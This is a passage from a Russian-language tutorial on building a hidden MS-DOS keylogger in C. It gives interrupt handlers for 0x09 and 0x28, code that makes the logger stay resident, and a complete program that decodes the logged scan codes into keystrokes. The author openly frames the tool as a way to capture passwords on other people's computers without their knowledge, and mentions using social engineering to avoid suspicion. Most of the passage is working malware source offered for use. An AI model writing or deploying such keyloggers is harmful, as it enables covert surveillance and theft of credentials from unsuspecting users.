void interrupt far newhdl_28(...) // Новый обработчик для прерывания 0x28
{
if(flag == 1) // Если флаг равен 1, тогда нужно писать в файл
{
// ... (пишем в файл, при этом можем ещё и флаг занятости ДОСа проверить, на всякий пожарный)
flag = 0; // ясен пень - флаг снова надо сбросить
// (но только если нам удалось записать символ)
}
oldhdl_28(); // Вызываем следующий обработчик 0x28
}
void interrupt far newhdl(...) // Новый обработчик для прерывания 0x09 (клава)
{
symbol = inportb(0x60); // Читаем символ
flag = 1; // Ставим флаг в единицу (то есть даём "двадцать восьмому"
// знать о том, что хотим записать символ в файл)
oldhdl(); // А теперь вызываем старый обработчик прерывания от клавы
}
Если происходит прерывание 0x09, то вызываться должен обработчик newhdl(). Он считывает нажатую (или отпущенную) клавишу в symbol и ставит свой флаг flag в еденичку. При следующем вызове прерывания 0x28 запустится функция newhdl_28(), которая, сверяясь с флагом flag, при необходимости, пишет symbol в файл на диске. Естественно, нам ещё надо будет объявить указатели на функции oldhdl и oldhdl_28, считать в них значения, указывающие на старые обработчики прерываний 0x09 и 0x28 соответственно, и установить в качестве новых обработчиков newhdl() и newhdl_28(). Всё это нужно сделать в функции main() и, разумеется, до вызова keep(). Переменные symbol и flag также должны быть объявлены и преравнены нулю (если этого не сделать, возможны сбои). Если будем проверять флаг занятости ДОС, необходимо объявить указатель на тот самый флаг занятости, вызвать прерывание 0x21 с регистром AH=0x34 и записав в этот указатель значение ES:BX, т.е. DOSflag=MK_FP(_ES,_BX). После этого можем им пользоваться при проверке.
int main()
{
_AH=0x34;
asm int 0x21;
DOSflag = MK_FP(_ES, _BX); // Получили флаг занятости дос по указателю DOSflag
oldhdl=getvect(0x09);
oldhdl_28=getvect(0x28); // Плучили адреса старых обработчиков прерываний 0x09 и 0x28
setvect(0x09, newhdl);
setvect(0x28, newhdl_28); // Установили свои обработчики на прерывания 0x09 и 0x28
keep(0, _SS+(_SP/16)-_psp); // Провозгласили себя резидентом
return 0;
}
Ну вот, осталось только объявить нужные переменные и дописать функцию записи в файл в обработчике newhdl_28() (и при необходимости добавить проверку занятости ДОС, как было описано выше). А в остальном прога готова. Если хочется сделать её ещё круче, то можно при старте добавить проверку того, не запущена ли она уже. Для этого есть много способов, но я рекомендую повеситься ещё на одно прерывание, и при обращении к нему обработчик (если он есть) вернёт нам в регистрах какой-нибудь свой идентификатор. Так мы удостоверимся, что он жив-здоров, а следовательно, и наш кейлоггер уже живёт где-то в памяти. Если обработчик не ответит, значит и кейлоггера нет. А при хитрой комбинации клавиш (например Ctrl+F12) можно добавить функцию отключения проги, если вдруг приспичет. Но это всё мелкие доработки, которые в любом случае не повлияют на процесс ведения статистики нажатых клавиш.
ЧАСТЬ 5. Читаем скэн-коды из логов
Представим, что кейлоггер дописан и работает. Он сохраняет скэн-коды нажатых клавиш в файл как простой ряд чисел, не производя шифрование. Теперь не плохо бы перевести этот файл в удобочитаемый вид. Для этого предлагается использовать отдельную программу, которая должна читать скэн-коды и переводить их в символы.
// LogRead.c (компилится в Borland C++ v3.1 и не только)
#include < stdio.h >
#define FILENAME "c:\keys.dat"
FILE *in;
unsigned char scancode;
char str[128];
void convert(unsigned char scancode, char *str) // Функцияпреобразуетскэн-кодвстрокусописаниемсимвола
{
if(scancode>128)
{
sprintf(str, "[Released]");
scancode-=128;
}
else sprintf(str, "[Pressed]");
switch(scancode)
{
case 1: sprintf(str, "%s %s", str, "Escape"); break;
case 2: sprintf(str, "%s %s", str, "1"); break;
case 3: sprintf(str, "%s %s", str, "2"); break;
...
case 11: sprintf(str, "%s %s", str, "10"); break;
case 12: sprintf(str, "%s %s", str, "- or _"); break;
case 13: sprintf(str, "%s %s", str, "= or +"); break;
case 16: sprintf(str, "%s %s", str, "Q"); break;
...
case 26: sprintf(str, "%s %s", str, "[ or {"); break;
case 27: sprintf(str, "%s %s", str, "] or }"); break;
case 30: sprintf(str, "%s %s", str, "A"); break;
...
case 39: sprintf(str, "%s %s", str, "; or :"); break;
case 40: sprintf(str, "%s %s", str, "' or \""); break;
case 44: sprintf(str, "%s %s", str, "Z"); break;
...
case 52: sprintf(str, "%s %s", str, ". or >"); break;
case 53: sprintf(str, "%s %s", str, "/ or ?"); break;
case 57: sprintf(str, "%s %s", str, "Space"); break;
case 29: sprintf(str, "%s %s", str, "Ctrl"); break;
case 42: sprintf(str, "%s %s", str, "LeftShift"); break;
case 54: sprintf(str, "%s %s", str, "RightShift"); break;
case 56: sprintf(str, "%s %s", str, "Alt"); break;
case 14: sprintf(str, "%s %s", str, "BackSpace"); break;
case 43: sprintf(str, "%s %s", str, "\ or |"); break;
case 83: sprintf(str, "%s %s", str, "Del"); break;
case 28: sprintf(str, "%s %s", str, "Enter"); break;
case 15: sprintf(str, "%s %s", str, "Tab"); break;
case 41: sprintf(str, "%s %s", str, "` or ~"); break;
case 72: sprintf(str, "%s %s", str, "UpArrow"); break;
case 80: sprintf(str, "%s %s", str, "DownArrow"); break;
case 75: sprintf(str, "%s %s", str, "LeftArrow"); break;
case 77: sprintf(str, "%s %s", str, "RightArrow"); break;
case 58: sprintf(str, "%s %s", str, "CapsLock"); break;
default: sprintf(str, "%s UNKNOWN KEY #%d", str, scancode);
}
}
int main()
{
printf("\r\n\r\nKeyLog`s Reader v1.0 Copyright (c) Pashix, 2004\r\n\r\n");
in=fopen(FILENAME, "rb");
if(!in)
{
printf("Error while open file, halting...\r\n");
return 1; // Если файл не удалось открыть - выходим из программы
}
while(!feof(in))
{
fread(&scancode, 1, 1, in);
convert(scancode, str);
printf("%s\r\n", str);
}
fclose(in);
return 0;
}
Итак, предложенная программа будет читать файл с именем C:\keys.dat (можно изменить, см. define FILENAME), предполагая наличие в нём скэн-кодов, оставленных кейлоггером, и выводить в stdout (т.е. скорее всего, на экран) названия клавиш в человеческом виде. Например, строка [Pressed] Escape означает то, что пользователь нажал на клавишу Esc, а строка [Released] LeftShift означает, что кнопка LeftShift (левый Shift, кто не понял :) ) была только-что отпущена. Там, где написано "...", вам предстоит дописать остальные варианты. Сделать это очень просто: смотрим на клавиши до и после многоточия, смотрим на клавиатуру и понимаем, что нужно подставить. Эта читалка логов умеет распозновать следующие символы: A-Z 0-9 / \ | Shift Ctrl Alt BkSpace Del Enter CapsLock и некоторые другие. Если этого мало, вы можете дописать остальные варианты самостоятельно (я этого не сделал потому, что экономил место). И ещё. Если будет необходимость выводить результат не на экран, а в файл, в командной сторке MS DOS необходимо запустить программу вот так:
C:\ > logread.exe > c:\logread.txt
В этом случае программа-читалка переведёт содержимое c:\keys.dat и запишет его в c:\logread.txt
ЧАСТЬ 6. Злоключение
Ну вот, в общем-то, и всё. Остальное сможете и сами написать. Основная хитрость в создании кейлоггера под ДОС - двадцать восьмое прерывание. Если о нём не знать - геморрой будет обеспечен. Хотя мне удавалось обходиться и без него (прерывания, не геморроя :) ). Сначала, я пробывал писать в файл прямо из обработчика, но прога удивительным образом повисала каждый раз. Затем извратился так: при запуске проги, в функции main() я выделял энное количество памяти (aka буфер), адрес его писал в файл (1) и делал keep(). В самом обработчике писал уже не на диск, а в тот самый буфер. Затем, запускал другую прогу, которая добывала из файла (1) адрес буфера, и затем записывала содержимое буфера в файл (2). То есть нажатые клавиши попадали в файл (2). У этого способа есть три недостатка с технической стороны:
1) Буфер необходимо было делать маленьким (память-то у нашего резидента - не резиновая! См. про _stklen выше) А чем меньше буфер, тем чаще приходилось вызывать вторую прогу, для переноса содержимого его (буфера) в файл. У меня буфер вмещал 150 символов (для паролей хватало).
2) Вызов самой проги для переноса из буфера в файл - задача не простая, с учётом того, что я не хотел, что бы кто-либо что-либо заподозрил. Странно бы это выглядело, если б я всё время подбегал к компу с кейлоггером и запускал в консольке какую-то прогу. Тут помогала социальная инженерия :)
3) Написание такого алгоритма взаимодействия требовало большего количества знаний, чем создание одной программки, которая сама всё и добывает, и сразу же сохраняет куда нам надо.
Обоих недостатков лишена программа с использованием прерывания 0x28. Если хотите разобраться получше в тонкостях MS-DOS и узнать все её возможности (даже не документированные), качайте себе мануал под названием Tech Help (только на английском. На русском - sux!)